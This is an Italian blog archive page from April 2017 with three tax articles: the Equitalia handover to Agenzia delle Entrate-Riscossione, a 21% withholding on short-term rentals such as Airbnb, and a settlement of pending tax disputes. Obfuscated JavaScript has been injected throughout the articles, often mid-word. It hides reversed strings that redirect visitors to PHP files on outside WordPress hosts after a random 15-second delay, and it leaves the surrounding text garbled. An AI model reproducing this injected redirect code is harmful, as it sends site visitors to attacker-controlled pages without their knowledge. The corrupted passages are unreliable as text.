Mese: aprile 2017

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Entrate Riscossione: cosa cambia da luglio

Con l’addio ad Equitalia subentra l’Agenzia delle Entrate-Riscossione con più poteri su controlli fiscali e pignoramenti, accesso ai conti correnti e diritto a bloccare transazioni.

La legge di conversione del Decreto Fiscale n.193/2016 ha previsto l’addio a Equitalia dal 1° luglio 2017, oltre a ufficializzare la definizione agevolata delle cartelle esattoriali (rottamazione). L’attuale ente di riscossione per i debiti contratti dai contribuenti con il Fisco e lo Stato verrà sostituito dall’Agenzia delle Entrate-Riscossione, mentre le società del Gruppo Equitalia saranno sciolte e cancellate dal Registro Imprese, senza alcuna procedura di liquidazione (personale verrà ricollocato presso Agenzia delle Entrate o altra PA).

Da luglio diventa dunque operativo il nuovo ente pubblico economico, dipartimento interno all’Agenzia delle Entrate presieduto dallo stesso direttore e sottoposto alla vigilanza del Ministero dell’Economia. I vecchi debiti notificati da Equitalia e ancora non saldati o rottamati, ma anche i crediti Equitalia, passeranno in automatico all’Agenzia delle Entrate-Riscossione.

Secondo le previsioni, avrà maggiori poteri di controllo (potendo accedere a più database, compreso quello INPS) e maggiore consapevolezza dei beni pignorabili. L’Agenzia delle Entrate-Riscossione potrà infatti consultare banche dati e informazioni alle quali è autorizzata l’Agenzia, anche ai fini dell’attività di riscossione, sarà inoltre autorizzata ad acquisire informazioni circa i rapporti di lavoro o impiego, disponibili nel data base INPS, Comuni e così via. Tutti dati che potranno essere utilizzati tanto per scovare eventuali evasioni fiscali quanto per individuare beni pignorabili.

A differenza di Equitalia, la nuova Agenzia delle Entrate-Riscossione potrà accedere pienamente all’Anagrafe dei rapporti tributari venendo a conoscenza dei conti correnti dei contribuenti, compresi importi e movimenti. Questo significa che, se il debitore sposta somme per scongiurare un pignoramento, il nuovo ente potrà avviare azioni revocatorie e segnalare alla Procura il reato di sottrazione fraudolenta al pagamento dei tributi. Nei confronti dei contribuenti, essendo un soggetto pubblico, l’Agenzia delle Entrate-Riscossione avrà poteri e autorità di una PA.

La controparte per i contribuenti? Un rapporto con il Fisco più orientato alla compliance e una riduzione dei costi legati alla riscossione.

 

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Affitti brevi, tassa Airbnb al 21%

Novità per contratti di locazione breve, anche attraverso Airbnb, agenzie immobiliari e portali web: adempimenti per gli intermediari e imposte per chi affitta.
Il fenomeno Airbnb aveva raggiunto dimensioni troppo ampie perché potesse sfuggire all’attenzione del Fisco. Con l’arrivo della cosiddetta manovrina, la manovra correttiva della Legge di Stabilità 2017, arrivano anche novità in tema di tassazione per gli affitti brevi derivanti da chi offre per un breve periodo una casa, un appartamento, o una stanza in locazione che verranno obbligati al versamento della cedolare secca.

Nuovi controlli e procedure

Anche se per i contratti di locazione di durata inferiore ai 30 giorni non è obbligatoria la registrazione, le tasse sui canoni incassati vanno pagate, eventualmente optandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando per la cedolare secca, e per essere sicuri che tutti rispettino tale adempimento vengono introdotti controlli più severi e nuove procedure. Novità ovviamente non in vigore solo per Airbnb, ma per tutti gli intermediari nei contratti di affitto, sia che questa attività venga esercitata attraverso portali web sia che avvenga mediante agenzie immobiliari o di intermediazione.

Intermediari: nuovi adempimenti

In sostanza l’attuale versione della manovrina prevede che i gestori di tali portali e delle agenzie di intermediazione:

· comunichino all’Agenzia delle Entrate i contratti di affitto breve conclusi grazie ai servizi offerti dagli stessi;
· trattengano, in qualità di sostituti di imposta, dai canoni pagati la ritenuta del 21%;
· rilascino a chi affitta la Certificazione Unica (CU) annualmente con gli importi percepiti e le ritenute effettuate
In realtà non si tratta di una nuova tassa, ma di una nuova procedura (che prevede maggiori adempimenti per gli intermediari) studiata per fare in modo che tale imposta sull’affitto venga effettivamente versata all’Erario, cosa che attualmente avviene molto di rado. Le sanzioni per l’intermediario inadempiente ammontano a 2.000 euro.

Cedolare secca

In parallelo viene confermata la possibilità di applicare ai contratti di locazione di breve durata la cedolare secca, l’imposta sostitutiva di IRPEF, addizionali, imposte di bollo e registro che prevede un’aliquota al 10% in caso di canone concordato e un’aliquota al 21% per le locazione in regime di libero mercato, come quelle per l’affitto di appartamenti o case per le vacanze.

=> Cedolare secca: guida alle novità

La cedolare secca prevede alcuni specifici adempimenti da parte di chi affitta un immobile, che però probabilmente verranno posti dalla manovrina anch’essi a carico degli intermediari.

71342953 - angry businessman with tax form $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and accountman. eps 10 vector file.

Condono fiscale per liti pendenti

Dopo rottamazione cartelle e voluntary disclosure bis arriva la sanatoria delle liti fiscali pendenti: come funziona il mini-condono, con adesione entro settembre
Dopo voluntary bis e rottamazione cartelle esattoriali (Equitalia e non solo), arriva la sanatoria fiscale per liti pendenti in ogni grado di giudizio o per atti impugnati davanti a Commissioni Tributarie e Corte di Cassazione. Potranno essere rottamati gli atti con ricorso contro le Entrate, depositato presso la CTP entro dicembre 2016 e non ancora definitivo. Ai fini della determinazione degli importi da pagare, la definizione agevolata delle controversie tributarie terrà conto del solo atto impositivo, senza considerare l’esito di eventuali sentenze di primo e secondo grado. Questo vuol dire rinunciare a potenziali sentenze favorevoli, con la contropartita di sveltire i tempi del contenzioso pendente e non “rischiare” costi accessori.
Costi
Chi rottamerà le liti fiscali pendenti potrà beneficiare, al pari di quanto avviene con le cartelle di pagamento, di sconti su sanzioni e interessi di mora, pagandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando solo le imposte dovute ed eventuali interessi da ritardata iscrizione a ruolo calcolati fino al 60° giorno successivo alla notifica dell’accertamento. La definizione di liti pendenti per sole sanzioni non dovrebbe comportare alcun costo.

  • Per interessi di mora o sanzioni non collegate a tributi si paga il 40% degli importi;
  • Per more e sanzioni collegate a tributi, rottamazione a costo zero

Pagamento
Mutuandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando il meccanismo della rottamazione, sarà possibile anche il pagamento in tre rate (se il debito supera i 2mila euro), da versare entro il 30 settembre 2017 (40%), entro fine novembre 2017 (40%), entro il 30 giugno 2018 (20%).
Adesioni
In base alle anticipazioni della manovra bis approvata in CdM l’11 aprile, il termine ultimo per l’adesione alla rottamazione delle liti fiscali pendenti dovrebbe essere il 30 settembre prossimo. Al capitolo “Disposizioni in materia di giustizia tributaria”, il paragrafo “Definizione agevolata delle controversie tributarie” riporta:
Si prevede la possibilità di definire le controversie rientranti nella giurisdizione tributaria in cui è parte l’Agenzia delle entrate, mediante il pagamento degli importi contestati con l’atto impugnato e degli interessi da ritardata iscrizione a ruolo, al netto delle sanzioni e degli interessi di mora (la richiesta di definizione deve essere presentata entro il 30 settembre 2017).
La misura favorirà anche una certa equità tra coloro che hanno potuto usufruire della rottamazione delle cartelle e quelli che invece ne sono rimasti esclusi. L’obiettivo è comunque smaltire i contenziosi “in coda” (il 50% delle cause civili sono per controversie fiscali), smaltendo il grosso delle 470mila cause pendenti, delle quali 230mila avviate nel 2016.